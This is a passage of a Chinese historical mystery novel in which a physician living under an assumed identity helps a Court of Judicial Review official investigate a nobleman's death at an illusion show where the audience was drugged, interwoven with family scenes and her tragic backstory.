李同尘瘪嘴道:“这里我来过多次,往日的香也没有如此叫人难受的,薛姑娘,你快救救我吧,我脑袋好、好痛,像有斧子在凿,都这么久了,我看那灯烛怎还闪着红光,你、你不是神医吗?应能药到病除吧?” 姜离上前,令他伸手,一边问脉一边道:“世子既来过不止一次,可否说说您今日看到的幻术有何不同?身上还有何种不适?” 李同尘清了清嗓子,道:“幻术都相差无几,非、非要辨别和往日不同之处,那便是今日那、那黄龙变格外五彩斑斓,尤其到了目连救母一出,黄龙变的幻象似乎还未消失,哦,对了,那雕梁帷帐上的神仙彩画,似乎活了,到中间甚至分不清我人在何处、身侧之人有谁,真像到了极乐之境……” 他说着,目色迷离,似回味无穷,裴晏看不下去,正要开口,李同尘又难受道:“乐是乐了,但今日那玉壶春似乎格外醉人,没多时我便恶心发晕,眼前之物格外炫目,他们说看到允慎,我仔细辨了好久才认出,但我当时也以为是幻术……” 他使劲拍了拍额头,哀恸道:“所以才眼睁睁看着他倒在了罗刹身边,我、我现在头还很疼,就好似宿醉一般……” 姜离收回手,“我知道了。” 她神容肃穆道:“世子脉象惊跳无力,除了恶心、头晕头痛,目眩色弱、生出幻觉之外,应还有一处不适——” 她扫过中迷香的其他几人,“那便是口舌不清,几位公子适才与家人说话时,几乎都有此状……” 今日众人目睹段严之死,都受了惊吓,再加饮酒,说话磕绊并不突兀,便是早来的齐膺和裴晏都未放在心上,此刻姜离一说,他们觉出不对来。 姜离定声道:“若我所料未错,你们是中了一种产自西海,名叫迷幻鼠尾草的毒物。此毒无色无味,比曼陀罗致幻数十倍,会引发颇多不适,并且,此毒能令人格外偏执,反应迟缓,倘若一开始你们先入为主以为段严被刺是幻术,那就算发现了异样,你们也依旧会执拗下去。” 李同尘听得目瞪口呆,细细一想,更觉毛骨悚然,“有人对我们下毒?为什么?是为了谋害允慎吗?但我们都中毒了啊。” 姜离先打量其他五人,又上前给几人问脉,脉象断完,她点头道,“的确都中了毒,此毒解法简单,用羊奶加盐喝一海碗,便可恢复八九分。” 苏妙仪闻言立刻带人去制备。 姜离瞟了一眼裴晏,继续道:“虽然眼下他们都呈中毒之象,但倘若凶手在谋害段公子之后,自己服毒,那眼下是断不出分别的。” 此言一出,李同尘几人看她的目光一阵发凉,这话又给他们加回了嫌疑! 裴晏倒是赞同,“凶手若聪明,必会如此。” 李同尘无奈道:“好好好,眼下中毒也不算有利之证了,我们当时虽陷于幻觉,可倘若有人开门离去再回来,是一定能发觉的——” 他大步走到露台左侧,将挂着的五彩仙娥邀月画一推,竟推开道暗门,“这楼梯分外陡峭,壁灯也很是昏暗,清醒之人尚且得小心翼翼呢。” 姜离上前,便见李同尘所言不虚,她道:“若中了鼠尾草毒之人,更不可能毫无动静下去,但……适才我已看过,段公子尸身之上并无多余的擦伤和淤伤。” 裴晏敏锐道:“你是说,段严下去之时并未中毒?” 姜离神色漠漠,“我是医家,只说表征,不做推论。” 齐膺在旁道:“但这里也没有其他机关了,而倘若段公子没中毒自己走下去,那又怎么会被刺死?哪怕他喝了些酒,想去看看那罗刹是真是假,但凭他的身手,莫说罗刹人偶,便是个会武功的,都不一定能伤到他。” 微微一顿,他又道:“那演台倒是有机关,但段严死的时候,底下几个操作机关的术士根本不知发生了什么,他倒地之处也无中空。” 姜离便问:“那其他演幻术的术士在何处?” 齐膺指向右前方的轩窗:“今日这幻术,演台之下三人,三面楼上十二人,六人为乐伎,右前方的暗房里也是三人,楼上有人一开始便看到了段严,但皆以为段严起了兴致捣乱,因他性子张扬,此前便下过演台,因此他们不敢多说什么。后来确定不对时,是楼上操作灯烛之人先发现古怪,他们惊叫不断,令世子他们醒过神往楼下去,术士是后一步赶到段严身边的,说当时他已气绝……” 人群之中,虞梓桐问:“会否是楼梯里藏了歹人?” 齐膺摇头,“演台已清场,当时能进出的,唯有暗房内操作机关的术士,以及通过此地楼梯而去的客人,那几个术士全然清醒,可互相作证作保。” 如此便已排除了大多可能,这时有人低声道:“莫非……莫非真有非人力之故?这里五年前着了一场大火,可是烧死了不少人啊……” 五年前那场大火众人皆知,阴森之感油然而生。 忽然,几声脆响突兀而起,众人吓了一跳,定睛一看,却是姜离在倾身检查杯盏,然而翻看一圈,并无收获,她很有些纳闷。 齐膺道:“凶手下毒杀人,这下毒手法也是关键一环,现场我们适才就已经搜看了,并无明显异常,杯盏碗碟皆未见毒。” “从幻觉寻破绽——” “凶手会编造幻象——” 几乎是同时,姜离与裴晏一起开了口,发觉不对,二人又同时停了下来。 裴晏看着她:“看来薛姑娘与我想到了一处。” 姜离暗暗搓牙,若比聪明,世间少有人是裴晏的对手。 见她不打算说下去,裴晏干脆道:“幻觉也发于真实,眼下谜团众多,亦难解段严被害手法,但有人下毒却是肯定,稍后解了毒,你们再不论真假,将今夜所见写下。” 众人面面相觑,恰在此时,苏妙仪带着解毒的咸羊奶回来,又吩咐下人一一分发到李同尘几人手上。 虞梓谦最厌羊奶,还未饮便干呕起来,虞梓桐站在一边冷笑:“哥哥,我早说过,那贱人死在此处,再没有比这里更晦气的了,你却还要来!这下好了,自己遭罪不说,还沾上人命案子,爹爹多不容易才回长安。” 姜离站在不远处听着,暗暗苦笑,过了这么几年,这丫头骂人还是这二字。 但她还是忍不住看过去,虞槐安鬓角已生霜华,明明只过了五年,可他却好似老了十岁,虞梓桐身量更高,五官也已长开,鹅蛋脸,柳叶眉,一双丹凤眼微微上挑,像极了她明媚张扬的性子。 许是她目光停太久,虞梓桐忽然转身看她,姜离头皮一紧,正欲寻借口,虞梓桐却大步流星朝她走了过来,“薛姑娘,我是虞梓桐——” 姜离强作镇定,“虞姑娘有何事?” 虞梓桐大睁着一双杏眼,好奇道:“这几日我早对姑娘起了好奇之心,却不想今日碰见,敢问姑娘,烈刀门郑门主的案子那般离奇,那你是如何发现玄机并救了他呢?你适才只解释了谜面,却未说最重要的解法,实在是叫我心痒难耐。” 姜离大松了一口气,倾身轻语起来…… 不远处的角落里,齐膺对裴晏戏谑地一笑,低声道:“鹤臣啊,是不是没想到你也有今天——” 裴晏不明所以,齐膺道:“你没看出来吗?许是不知你的名头,薛姑娘对你是冷若冰霜,半点儿也没有京城其他贵女的热络。” 裴晏:“……” 他未搭话,却将眼角余光落在姜离身上,看她对虞梓桐露出笑意,眼底漾出清灵灵的光,又看她对周桢解释羊奶解毒之理,也是那般温和有礼,可一旦对上他,她的表情便又冷又硬,隐隐还有不甘与不服,裴晏眉眼暗了下来。 “那为何薛二公子会在此地?!” 忽然间,虞梓桐高声惊诧起来,她看向三尺外的薛湛,不解道:“二公子和段公子之约,比回白鹭山书院更重要吗?” 薛湛刚饮完羊奶,冷不防被问住,一旁李同尘道:“不,不是有约,允慎没提过他也来,是薛湛在这里等允慎,看到允慎,他匆匆找过来的——” 看似七人集会,唯独薛湛竟是无约而来,一时间,所以目光都落在他身上。 薛湛面色煞白:“我、我……” 江陵小郡王 薛湛当着众人的面“我”不出来,顷刻便引来质疑,而鼠尾草之毒一刻钟便能解,于是六人依旧被分开问证,姜离自跟去薛湛房中。 “你为何在此等段严?” “段氏与薛氏不睦,你何时与段严交好?” 裴晏一句比一句严厉,“你在白鹭山书院求学,书院的规矩,无故不可休假三日以上,但你回长安已有五日,且离家时哄骗父母,你有何隐瞒?” 薛湛满头大汗,脑袋也耷拉下去,“我、是我有错……我不是刻意等段严,是刚好碰见他罢了,哄骗父亲母亲,我也不愿,但眼下,我不想回书院……” 薛琦直勾勾盯着薛湛,薛湛瑟瑟看了他一眼,低声道:“我近来骈文赋文都作的很差,归家之前,老师还语重心长教导我,但他越是对我给予厚望,我便越是恐惧,我心底积了许多挫败,那日离府之后,忽然便想放肆两日,以泄郁气。” 他脑袋快埋去地上,裴晏思忖一瞬,继续问:“段严比你年长四岁,你和他如何有交情?” 与段严同行的六人,唯独薛湛年纪最小,他低声道:“我是四年前入的白鹭山书院,那时便与他相识了,段氏虽与薛氏不睦,但不睦的是国公府,今夜、今夜我本是自己来寻消遣的,可没想到遇上了他,想着有人同行正好,我才与他来看幻术的。” 怕裴晏不信,薛湛又道:“真的,我若是为了杀人,又怎么会做的如此刻意?大家都知道我好容易拜在荀山先生门下,我、我只是接受不了挫败罢了——” 裴晏盯他片刻,“把今夜所见再说一遍。” “今日第一出幻术是神仙索,演台之上坠下长绳,术士顺着长绳往上爬,那演台挑空极高,像望不到头,术士直爬入了云端之中……” 薛湛面对裴晏,背脊笔挺,比对薛琦还要规矩,裴晏又问:“当时你们几人哪般座次?神志可还清醒?段严和其他人可有异样?” 薛湛仔细回忆道:“我与周桢在右,李世子与允慎居中,剩下三人居左,起初是这样,但后来我们就不顾座次了,到了黄龙变,因实在精彩,便无人坐了,也是从那时开始,我记忆出现了混乱……” “似有五彩的鱼绕着仙娥飞,飞去月亮上,月亮亮了又暗,而后观音娘娘竟骑着白龙下凡来,她身后带了个人,像是文曲星君……” 薛湛越说越离谱,薛琦听得面上青红交加,姜离站在一旁,一时看看薛湛,一时又扫一眼裴晏,眼底幽明难辨。 “……黄龙变和目连救母前半段没有术士在台上,眼看到了目连救母,那些鱼儿飞龙,竟还未消失,且演台上冒起地狱之火,罗刹和恶鬼此刻上了台,我还听见黑白无常拿着索命的锁链咔哒咔哒之声,吓得我——” 薛湛话语忽断,裴晏凝声问:“吓得你什么?” 薛湛瞄了一眼薛琦,脸色难看道:“吓得我抱住了身边的……不知是个柱子还是个仙娥……” 裴晏皱起眉头,“仙娥与柱子何似?” 薛湛无奈,“那时已目眩神迷,看谁都换了副模样,我以为是仙娥,可不知怎么那触感却硬邦邦的,许是攀住了栏杆也不一定……” “后来,便是身边有人惊呼,说术士竟把目莲变作了允慎的模样,我还想着,不愧是登仙极乐楼,竟这般会讨好客人,我们都欢呼起来,还叫允慎来看,但直等到允慎倒地,我也没听见他回应……” “再后来,似是周桢和赵一铭发现不对,说底下真是允慎,那一瞬,我几乎以为允慎在与我们演戏本,好像……好像是梓谦第一个到的允慎身边,他看到那么多血也吓得不轻,立刻喊人请大夫,我们都上去探看,只李世子素有洁癖未碰允慎。” 裴晏又问:“是谁把段严抬上楼的?” 薛湛道:“是两个术士及赵一铭和徐令则抬的,周桢和虞梓谦也帮了忙,他们四个习武,又在金吾卫和巡防营当值,自不缺力气,其他人喊人的喊人,请大夫的请大夫,乱作一团,我连自己怎么跟上来的都不知,再后来,便是来的大夫说允慎无救……” 他看一眼裴晏,“没多久,衙门的人便来了,来了一会儿,便是您带着大理寺的人到了,后来的事,您也知道了……” 裴晏深深看他一眼,拿着记录离去。 他一走,薛琦起身不解道:“湛儿,你怎能因为做不好骈赋便不敢回书院?!荀山先生若知道,该是如何失望?!” 看了眼一旁的差役,他责道:“你看看裴少卿,同样都是荀山先生的学生,怎差距如此之大!人家十八岁的时候都替陛下巡盐务了!” 薛湛被责备的满脑门子汗,忽然,一只苍白素手拿着丝帕伸了过来,薛湛抬头一看,便见姜离温和地望着他,竟无丝毫轻视。 薛湛五味陈杂,他回府两日,与这位长姐说过的话不超过十句,却未想她倒是多有善意,他接过丝帕,擦汗时,鼻端萦起一股子淡淡药香。 一刻钟之后,厢房外响起说话声,齐膺进来道:“薛大人,时辰已晚,先把薛湛接回去吧,官府和大理寺还要调查,改日许还要再问薛湛,这几日,他先不要回书院了。” 薛琦应是,“此案非同小可,自是查个明明白白为好。” 齐膺又看向姜离,“今夜也多亏薛姑娘帮忙,我们连夜去查那致幻鼠尾草,若以此找到了凶手,还要给薛姑娘记一功。” 姜离道“不敢当”,待出了门,便见最东面的厢房门口还被把守着,姜离狐疑道:“还有人没问清楚吗?” 齐膺看过去,“哦,是虞侍郎家的公子,还有些证供要对。” 姜离听得心紧,但她并无身份,不好在此时多言,薛琦也已与齐膺告辞往楼下去,薛湛慢几步等着,姜离只好带着小锦跟上去。 下楼时,便见大堂中的人早已散去,外头大雪纷纷,薛琦气冲冲走向马车,李同尘还等在门口。 他听到动静回身,又打量起姜离,待姜离走出门,他问道:“薛姑娘今岁几何?” 薛湛道:“长姐是景德十九年生人。” 李同尘瞳底微亮,“竟如此之巧!” 薛湛不明白,李同尘兴味道:“我有一位故友,是女子,也是景德十九年生人,她也小小年纪便医术高明,这怎算不巧?” 姜离不知做何表情,薛湛却来了兴趣:“当真?那你那位故友在何处?” 李同尘听着,表情暗淡几分,又抬头看了一眼飞檐高耸的五重楼台,迟疑一瞬后,他怅然道:“罢了,说也没什么,五年前——” 他到底顿了顿,“五年前登仙极乐楼大火之时,她就在这楼顶之上,后来,她当着许多人的面,跌入火海之中,尸骨无存。” 薛湛“啊”的惊叫,“你莫不是说——” 李同尘苦笑,“不错,就是广安伯义女。” 薛湛再好奇不起来了,他当然知道曾经的广安伯府有个医术极厉害的小姐,又因是养女,格外被世家们议论,而当年魏家的案子,还是自己父亲领头办的,他轻咳一声,“我还记得,那时候满长安都在说她……” 李同尘哼道:“说她恩将仇报嘛,他们胡诌罢了。” 薛湛尴尬极了,幸在此时,接李同尘的人来了,一辆马车从长街驶过来,李同尘身边的管家老远便站在道旁招手。 李同尘叹气道:“如今允慎也死在此处,这仙楼实不吉利,往后再不来了,你才名在外,也莫要流连这些烟花地了,告辞,改日再聚。” 薛湛拱手做拜,姜离也点了点头,她望着李同尘朝远处马车走去,自己也拢了拢斗篷步入雪中,可还没走几步,她倏地顿足。 接李同尘的马车停了住,车檐的风灯上书着“江陵”二字,有人掀开窗帘与李同尘说话,人虽看不清面容,但李同尘苦兮兮地告饶格外响亮。 “寄舟,我实是吓狠了,今夜我万万不敢自己住……我知道我知道,我不该来这里,往后我再不来了,我该打……” 李同尘爬上车辕,身影消失在车帘起落之间,那描金的“江陵”二字,随着车夫调转马头,亦消失在了夜幕之中。 她住足太久,薛湛跑回来道:“长姐,怎么了?父亲在叫咱们了。” 看她视线在那辆马车上,薛湛了然道:“来的是江陵小郡王,他和世子一样是宗室之后,二人算起血脉来,还是同一位曾祖父,因此格外亲近些,世子胆子很小,多半是吓坏了要住去江陵郡王府……” 说别人胆子小,他自己也怕的紧,抖抖索索抱怀道:“我们也快走吧。” 姜离应声跟上,思绪却纷乱起来。 薛湛走着走着,摸到了袖中那方巾帕,今夜闹得难看,他没话找话道:“长姐还不知世子说的是谁吧,长安原有个广安伯府,广安伯魏阶是历代最好的御医,魏家有一门家传针灸术名曰‘伏羲九针’,他凭此绝技年纪轻轻便当上了太医令,掌陛下和太子医药,可后来,他看诊有误害死了皇太孙,一家子便被发落了……” 薛湛轻声道:“是满门抄斩,还是父亲领着三法司审定的,且叫人想不到的是,定魏氏之罪最要紧的证供,竟来自广安伯夫妻收养的义女。” “那姑娘是广安伯夫人的嫡传徒弟,我曾远远见过一眼,实是姿容无双,我才十岁时,便听说伯府出了个小医女极有天赋,将来说不定要继承魏氏衣钵,据说,她后来也的确学过伏羲九针,也因此,魏氏出事后大家都骂她恩将仇报……” 薛湛唏嘘道:“不过你刚才看到的江陵小郡王,对那小医女很是钟情,求过亲不说,还在魏家出事后,请陛下给他二人赐婚,因那小医女在瘟疫时照顾过皇后娘娘,陛下便准许了,任谁都看得出,江陵郡王是为了保那医女不被株连,可谁能想到,那小医女最终死在登仙极乐楼的火海里,还有人说那把火本就是她放的……” 薛湛说了半天,却未听姜离搭话,他侧眸去看,便见姜离敛着秀眸,鸦羽似的长睫在眼下投下一片阴霾,看不出任何情绪。 他心想魏氏也实在惨烈,又道:“世子虽说那医女尸骨无存,但后来有传江陵郡王在火场里收捡了遗物,给那医女立了处衣冠冢,不至于让她做孤魂野鬼。” 姜离终是呼出一口白气,语气有些感怀,“江陵小郡王做到如此地步,那小医女泉下有知,必定很感激……” 江陵小郡王李策,表字寄舟,当年出事后,他为魏氏奔走求告,费尽力气,她对不住的人很多,李寄舟也算一个。 马车近在眼前,薛湛不敢当着薛琦说这些,立时噤了声,待几人入车坐定,车夫马鞭重重一落,往平康坊疾行而去。 三楼轩窗前,裴晏静立良久,他看着漭漭寒夜里,两辆马车背道而驰,逐渐隐入寒夜之中,他眼底也似覆了层夜雪,一片萧索寒凉。 …… 薛琦路上仍是责备,回了薛府,姚氏和薛沁早在府门处等候,二人拉着薛湛问长问短,姜离轻咳两声道:“父亲,我想先歇下了。” 薛琦满心都在薛湛闯祸上,自有许多私话问他,闻言忙吩咐小厮掌灯送她回去。 盈月楼是座临湖的二层小楼,位于内院东北,凛寒时节,数丛红梅盛放湖畔,冷香浮动中,灯火通明的楼舍华美不可方物。 进院入正堂,两个面容清秀的婢女已在候着,二人一个叫吉祥,一个叫如意,因一早听闻过她辛夷圣手之名,对她伺候的格外尽心。 绣楼内绣帷珠帘,宝器光华,一应家具器物皆是上品,姜离看诊累了一日,嘱咐吉祥二人安歇,只带着小锦上楼伺候。 刚一上楼,小锦便露出满脸担心,“姑娘,适才二公子说的那些,您可别恼,您是最知道自己身子的,不可思虑过重。” 姜离哭笑不得,“好小锦,你家姑娘岂会为这些动气?他说的也算是实情,他是读书人,言辞还算温和呢。” 眼下只有她二人,她卸下那孤高清绝之姿,难得露出几分懒怠来,话音落下,她又咳起来,小锦不敢耽误,忙伺候她沐浴。 周身没入浴桶时,姜离闭上眸子,缓缓舒出一口气,小锦拿着软巾,轻轻擦拭她左侧肩胛上的陈旧疤痕,“二公子果然不曾回书院,只是,这登仙极乐楼的案子,竟还与虞公子有关,您只怕放心不下……” 姜离和声道:“虞家公子,我不信他会杀人。” 小锦嘟嘴道:“那您不该帮大理寺,从前也没听说过您与那裴少卿有何交集,您不开口,只那毒就要他们查好几日。” 姜离睁开眸子,“举手之劳罢了。” 坐在妆台前绞湿发时,姜离仔细看铜镜中这张更瘦削秀美的脸,除了肤色格外苍白,已半点疤痕难寻,自然,也再无从前魏氏义女的半分姿容了。 绞干头发,姜离实在累极,几乎沾枕便入了梦。 梦里依旧是纷扬的大雪,她隐在人群里,目眦欲裂地望着朱雀门前阔达的刑台,在那刑台之上,广安伯府四十三口,被五花大绑压跪着。 魏阶与虞清苓伤痕累累,辨不出人样,魏旸拖着残废的双腿,懵懂地抬起了头,他神智已坏,不晓得待会儿是要做什么,目光逡巡时,却竟敏锐地看到了姜离,也不知哪来的力气,他挣扎着往前爬,又撕心裂肺地朝她大喊—— “妹妹不要来——” “好痛好痛,妹妹快跑——” 雪夜中的盈月楼寂然无声,姜离在睡梦中,难以抑制地闷声呜咽起来。 亲自试毒 因梦里不安,姜离这一觉睡了许久,再睁开眼时,帷帐外已是一片晴光映雪的亮,她揉了揉额角,依稀听见小锦在与谁说话。 她出声唤:“小锦——” 脚步声快速而来,床帐被一把掀开,小锦切切地望着她,“姑娘,又有三家递了帖子。” 姜离坐起身来,小锦一边帮她更衣一边道:“兖州刺史明家,广宁伯郭家,还有工部水部司员外郎胡家——” 姜离点头,“可有着急的?” 小锦摇头,“都是几府夫人递的帖子,只说请您过府饮茶,没说有何重病的。” 姜离颔首,“那便再等等。” 长安城不缺名医,但她这般在江湖上颇有名望的女医,却是绝无仅有,但高门世家素来注重私隐,这几日登门的,也不过是些寻常之病。 金乌初升时,姜离才下楼用早膳,薛氏簪缨之族,吃穿用度素来精巧,吉祥与如意也周到,但正用着膳,盈月楼外忽然跑来个小丫头。 吉祥出门去,不过片刻,她匆匆返回道:“大小姐,大理寺裴少卿来了。” 姜离不意外大理寺来人,却没想到裴晏也来了,她皱眉问:“所谓何事?” 吉祥涩然道:“说是要捉拿二公子。” 姜离赶到正院时,果然看到几个昨夜见过的差役守在门口,还将满脸愁容的姚氏与薛沁拦在了外面。 见她过来,姚氏将愁色一收挤出个笑来,“大小姐怎么来了?早膳可还合口味?若下人们有何疏漏,大小姐只管说与我。” 姚氏多年来执掌内院,早就练得八面玲珑之性,无论她对薛泠归来是何态度,但至少面上挑不出错,一旁的薛沁见母亲如此,微微皱了眉。 她生的杏眼桃腮,眉目婉丽,再加通身锦绣绫罗,仪态端方,颇有几分雍容高华之姿,心底虽有芥蒂,面上还是守礼:“长姐——” 姜离点了点头,道:“姨娘安排的都好,这院内是怎么回事?” 姚氏到底牵挂太过,忧心道:“是大理寺的裴少卿,两刻钟之前过来的,说有些事要问湛儿,我也奇怪,昨夜不是都问完了吗?” 想到昨夜姜离去过登仙极乐楼,姚氏道:“大小姐可知哪里出了岔子?” 姜离沉吟道:“许是二弟说了谎。” 此言一出,姚氏面色一变,薛沁不满道:“长姐此言差矣,我哥哥学识渊博,品行更无可挑剔,眼下人命关天,他怎么敢撒谎?” 薛沁话音刚落,院子里响起一声暴喝! “你说是不说——” 三人吓了一跳,定睛一看,便见厅内薛琦勃然大怒,而薛湛站在一边,背脊佝偻,神色委顿,脑袋快要埋在胸口,裴晏一袭月白绣莲花云纹锦袍坐在上首位,剑眉下的凤眸黑沉沉的,似浓得化不开的陈墨。 姚氏抚着心口道:“天老爷啊,这是怎么了!” 这时一个面容硬朗的大理寺武卫从内走出,“薛姑娘,少卿大人唤你们进去,说最好能劝劝薛二公子。” 姚氏忙不迭走在最前,入堂门诧异道:“老爷,裴大人,这是怎么回事?” 裴晏在主位饮茶,修长的指节握着白瓷盏,将他的手也衬出几分不自然的苍白,他放下茶盏道:“昨夜薛二公子未说实话。” 姚氏一愣,旁里的薛沁心头一跳,竟让姜离说准了! 裴晏继续道:“他说昨夜去登仙极乐楼,遇见段严乃是巧遇,但其实他前日晚间就已经去过永宁坊的漱玉斋,你们应当知道,漱玉斋是段氏的玉器行,漱玉斋的老板交代,他去后并未买玉器,而是问段严上一次来玉器行是何时,他是为了找段严而去。” “在漱玉斋寻人无果后,他又问翌日段严可会来,掌柜便道明日登仙极乐楼有位厉害的术师登台,段严下了值定要去仙楼看幻术,他听完回了客栈,第二日依旧留在客栈,到了晚间,他是有意去仙楼蹲守段严——” 裴晏说完,看向一脸匪夷所思的薛琦,“他若不愿交代因何而去,那就只好带他回大理寺走一趟了。” 回大理寺便是蹲监牢,薛琦哪能愿意,姚氏也道:“湛儿,你找段严做什么?你知道他在金吾卫当差,为何不去衙门,反去别处找?” 裴晏道:“他多半不想引人注目。” 薛湛涩然道:“我……我真的只是想找个人以作消遣罢了,段严最擅这些,他此前升了官,去金吾卫太过惹眼,我自然不敢……” 裴晏道:“薛湛,同样的借口只能用一次。” 裴晏直呼其名,颇有种恫吓之效,薛湛却咬紧牙关,执拗道:“是真的,我不愿回书院,却又心虚,行为自然异常了些,但、但我真的没有害他!” 裴晏面露失望,“来人——” “大人且慢——” 眼看大理寺要拿人,姜离忽而开口,她道:“敢问大人,人总有私隐难公之于众,无论他为何去找段严,若与案子无关,是否还要探问到底?” 姚氏母女二人眼瞳生亮,纷纷附和,裴晏却是一副严正无私的模样,“但他不说明白,又怎知与案子无关?如今在府中问证,已是开恩。” 姜离道:“二弟已数月不曾回府,他回长安的行踪,大理寺也已调查清楚,昨夜段严几人乃是中迷幻鼠尾草之毒,此毒产自西海,据我所知,此药昂贵,寻常药商也无可售卖,倘若二弟找段严是为了杀人,那他是何时买的毒药呢?” “假若大人说二弟是数月前便备好了毒药,但他一来住在东市人多之处,太过显眼,二来,他头一夜才知段严要看幻术,又如何布置精妙的谋杀呢?大理寺到现在也没勘破凶手杀人手法,此案除了调查动机,要紧的仍是破解凶手下毒和杀人手法不是吗?” 姜离语速疾快,裴晏蹙眉道:“你所言不无道理,但这不能完全排除薛湛的嫌疑。” 姜离面上闪过丝犹豫,很快,她定声道:“倘若我能助大人破解凶手下毒杀人之法,那大人能否将二弟禁足在府中便可?您知道的,他是白鹭山书院的学子,倘若被关入大理寺监牢,势必惹人非议,他明年便要科考了。” 薛琦和姚氏目瞪口呆,薛沁也意外非常,他们看向裴晏,实不知裴晏会做何反应。 裴晏似乎也没料到她如此大胆,他似笑非笑道:“姑娘倒是姐弟情深,但正是有这层亲属关系,姑娘更该避嫌才是……” 姜离摇头,“可大人知道,眼下最急于找到真相的,正是此案中清白无辜之人以及他们的亲属,段严之死必闹得满城风雨,谁也不想担杀人污名。” 不等裴晏说话,姜离又道:“迷幻鼠尾草只需半刻钟便会毒发,按二弟的说法,昨夜他是在看黄龙变之后记忆严重混乱,我猜测,凶手下毒正是在黄龙变开场时,到目连救母,他们中毒已深,神识混乱,这才给了凶手行凶之机。” 说到案情,裴晏倒是耐性极好。 姜离继续道:“昨夜我初步查看过段严的遗体,按理,他也应中毒,可他下演台后身上并无擦伤,而凶手行凶之前,定也不曾中毒,在看到各种古怪异象之时,凶手是清醒的,他受审之时,侍婢要编造证供,这一点,大人已想到了,所以昨夜才让大家反复陈述所见幻象……” 微微一顿,姜离道:“但我猜,大人看了所有人的证供,还是难察觉破绽,因大人只知那毒物会致幻,却不明如何致幻。” 裴晏听得欣然,“你猜的不错。” 他接着道:“你医术高明,又颇了解鼠尾草之毒,我这里倒是有一事,若有你帮忙,想来会事半功倍——” 这语气显然已经同意姜离所提,可再一品,姜离又有一种裴晏早有所图,而她自己送上门之感,她尽量忽略这份懊恼,问:“大人有何事?” 裴晏沉声道:“如你所言,昨夜我与齐大人连夜核对证供,却并未发现明显破绽,于是,我们打算再看一次幻术,且亲自试一试毒……” 他诚恳道:“薛姑娘可愿同往?” 疯邪母亲 “长姐真要酉时去试毒?!” 裴晏已带着大理寺之人离开,但正厅中,薛家一家四口还处在巨大的震惊中,因适才,姜离答应的实在是果断。 薛湛欲言又止:“此事本与长姐无关,那毒虽不致命,但万一出点岔子……” 姜离看着他,“二弟,你真不曾杀人?” 薛湛眼瞳一瞪,“当然!我可对天起誓!” 姜离莞尔,“那便值得一试。” 薛湛怔住,他未想到,这位长姐才回府三日,竟能为他做到如此地步,难道真是血浓于水吗? 薛沁也迷惑地看着她,姚氏戚然道:“大小姐,这可稳妥吗……” 薛琦冷静的最快,他叹道:“泠儿这些年,一定经了不少事,你医术过人,人又机敏,若真能早日破解那杀人之法,也算挽救你弟弟于水火了,他明岁要入科场,这案子定要速破,免得染上污名。” 薛湛道:“我本也不怕查。” 他语气坚定,薛琦听的直摇头,“你还小,你不明白,大理寺的监牢可令真凶伏法,但也能屈打成招,若有人成心对付薛氏,你少不了得脱一层皮。” 姜离定定道:“可您昨日说,裴少卿手上并无错案冤案。” 薛琦不知想到了什么,目光深长起来:“他也才上任不到一年,过去的许多年……谁又能说的准呢?” 似意识到此言不妥,他又看了一眼天色,“你舅舅他们快来了,你母亲喜欢兰花,去花房里选几盆,待会儿给她带去罢。” 薛湛闻言忙道:“我陪长姐同去。” …… 姜离回府三日,却还未拜见过母亲简娴,这一切皆因简娴之病特殊,并非随时想见便能见的,但到现在,谁也未说明白她所患之病特殊在何处。 从前在长安时,广安伯府与薛氏交集甚少,她与薛氏之人至多在年节宫宴上打过照面,除了知道太子妃是薛氏女外,对其府上下印象极浅,又因为彼时薛泠已被拐多年,薛氏已放弃在长安城找寻,她甚至不曾听闻薛氏大小姐失踪,简娴的病亦从未听见议论,如今她冒名而来,薛府其他人就罢了,对简娴,她颇想尽一番心意。 薛湛与她同行在积雪未化的小径上,有风吹过,道旁木槿枝头的积雪簌簌而落,见她默然不语,薛湛道:“实在不知该如何感激长姐。” 姜离宛然道:“那便说说昨夜其他几位公子,我对他们了解甚少,你应当都认得,按你的了解,你觉得是谁害了段严?” 薛湛咬牙道:“非要说的话,我觉得好几人都有可能——” 姜离侧眸看他,薛湛愤愤道:“段严出身段氏,虽不是大房所出,但借着段国公府和肃王府之势,做过许多不义之事,光我知道就不少……” “比如,从前徐令则也在金吾卫当值的,官宦子弟凭着荫蒙入金吾卫是常事,但彼时段严处处压徐令则一头,徐令则气不过,这才转投了巡防营跟着他父亲,还有周桢,周桢如今正在他手下任都尉,他父亲是户部员外郎,但半年前患病提了告老的折子,年底便要卸任了,周桢平日里,就是给他跑腿打杂的……” “赵一铭同在金吾卫,去岁两件差事本是他们同办,可最后功劳都在段严那里,只因肃王府和段氏急需朝中势力,恨不得段严明日便是金吾卫大将军,至于那虞侍郎家的公子,他们倒是和段氏走得近,昨夜段严对他十分热络。” 见姜离面露不解,薛湛道:“当年广安伯夫人便是出自虞氏,五年前广安伯府被诛,虞侍郎为了替他们求情被贬去襄州,去岁才回来,但当年是为皇太孙报仇,东宫和父亲都要重判,那虞氏如今自然站在肃王那边,可不就和段氏打得火热?” 说着他耸了耸肩,“非要说,也只有李世子确无嫌疑,他昨夜都没有碰过段严,他就当个富贵闲人,和段严也没什么不快……” 说话间二人到了府苑以西的花房,寒冬时节,薛氏的花房内一片咤紫嫣红,姜离一边赏兰一边道:“但一个人决定杀人,要么是有深仇大恨,要么是有极大的利益纠葛,再者为情所困,寻常嫌隙可不足以预谋杀人。” 薛湛灵光一闪,“段严是定了亲的,定的是淮南节度使孙佑昌家的大小姐,一月多前,我听说孙大小姐要退亲,但段氏不愿,还闹出些风言风语,哦对了,孙家的姑奶奶是赵一铭的婶婶,他们两家是有姻亲的。” 姜离意外道:“你不是几月未归吗?如何知道这些?” 薛湛咧嘴,“听回过长安的同窗们说的。” 姜离做了然之状,也不再多问,只仔细地选了两盆正值花期、枝条写意的墨兰,待再回前院,舅舅简伯承一家已经到了。 简伯承任许州刺史,最近一年,夫人方旋与独子简思勤都随他住在任上,姜离到许州时,一家人待她颇为尽心,后更是不远千里送她归家。 姜离上前行礼时,便见简伯承面色不甚好看,方旋看到她手中兰花,笑着夸赞,“一看就是柳州的上品墨兰,好清幽的兰香……” 没两句,方旋轻声问:“阿泠,说你答应大理寺的人要去试那致幻之毒?” 姜离明白过来,莞尔道:“舅母不必担心,我是医家,在江湖上见过百种毒术,这点儿致幻毒奈何不了我,我自己也想知道这案子是怎么回事。” 方旋抚了抚姜离肩头,有些忧心,“可江湖与庙堂大不一样,这里面有许多弯弯绕绕,舅母真怕你性子纯直卷进去吃了亏……” 姜离轻声道:“您安心,我若有不懂,自会问舅舅与您,您也劝舅舅不必担心。” 